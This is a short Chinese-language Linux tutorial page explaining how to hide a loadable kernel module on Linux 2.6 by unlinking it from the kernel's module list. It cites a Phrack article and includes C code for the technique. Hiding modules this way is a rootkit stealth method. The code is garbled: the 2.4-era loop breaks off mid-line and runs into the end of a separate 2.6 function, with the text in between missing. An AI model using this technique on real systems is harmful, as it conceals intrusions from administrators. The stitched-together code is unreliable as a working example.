歡迎來到Linux教程網
Linux教程網
Linux教程網
Linux教程網
您现在的位置: Linux教程網 >> UnixLinux >  >> Linux綜合 >> Linux資訊 >> 更多Linux

教你怎樣隱藏Linux2.6的內核模塊

  2.6內核與2.4內核相比,有了許多變化,模塊部分的實現完全重寫,結構也有了一些變化。2.4內核中模塊隱藏的方式為:(參考madsys的phrack 61-03)    strUCt module *p;  for (p=&__this_module; p->next; p=p->next)  {  if (strcmp(p->next->name, str))  continue;  p->next=p->next->next; // name, mod_name) == 0){  list_del(p);  printk("remove module %s successfully.\n", mod_name);  return 0;  }  }  printk("Can't find module %s.\n", mod_name);  return 0;  }  static void remove_exit(void)  {  }  module_init(remove_init);  module_exit(remove_exit);  MODULE_LICENSE("Dual BSD/GPL");




Copyright © Linux教程網 All Rights Reserved